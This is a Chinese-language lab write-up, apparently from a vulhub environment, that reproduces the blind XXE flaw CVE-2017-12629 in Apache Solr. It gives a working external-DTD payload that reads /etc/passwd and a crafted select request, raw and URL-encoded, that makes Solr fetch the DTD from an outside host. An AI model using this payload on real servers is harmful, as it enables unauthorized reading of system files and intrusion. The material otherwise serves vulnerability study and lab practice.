Apache solr XML 实体注入漏洞(CVE-2017-12629)

Apache solr XML 实体注入漏洞(CVE-2017-12629)

漏洞原理与分析可以参考:

Apache Solr 是一个开源的搜索服务器。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。此次7.1.0之前版本总共爆出两个漏洞:XML实体扩展漏洞(XXE)和远程命令执行漏洞(RCE),二者可以连接成利用链,编号均为CVE-2017-12629。

本环境仅测试XXE漏洞,RCE和利用链,可以在 https://github.com/vulhub/vulhub/tree/master/solr/CVE-2017-12629-RCE 中查看。

漏洞复现

命令执行成功后,需要等待一会,之后访问http://192.168.44.132:8983/即可查看到Apache solr的管理页面,无需登录。

由于返回包中不包含我们传入的XML中的信息,所以这是一个Blind XXE漏洞,我们发送如下数据包(自行修改其中的XXE Payload):

Payload:

1
2
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % ent "<!ENTITY data SYSTEM ':%file;'>">

保存为passwd.dtd,开启服务器,把passwd.dtd文件放到www目录下,构造请求包:

1
GET /solr/demo/select?&q=<?xml version="1.0" ?><!DOCTYPE root[<!ENTITY % ext SYSTEM "http://192.168.44.132/passwd.dtd">%ext;%ent;]><r>&data;</r>&wt=xml&defType=xmlparser

经过url编码

1
GET /solr/demo/select?&q=%3C%3fxml+version%3d%221.0%22+%3f%3E%3C!DOCTYPE+root%5b%3C!ENTITY+%25+ext+SYSTEM+%22http%3a%2f%2f192.168.44.132%2fpasswd.dtd%22%3E%25ext%3b%25ent%3b%5d%3E%3Cr%3E%26data%3b%3C%2fr%3E&wt=xml&defType=xmlparser

成功读取了/etc/passwd文件

image-20220112113015824

0%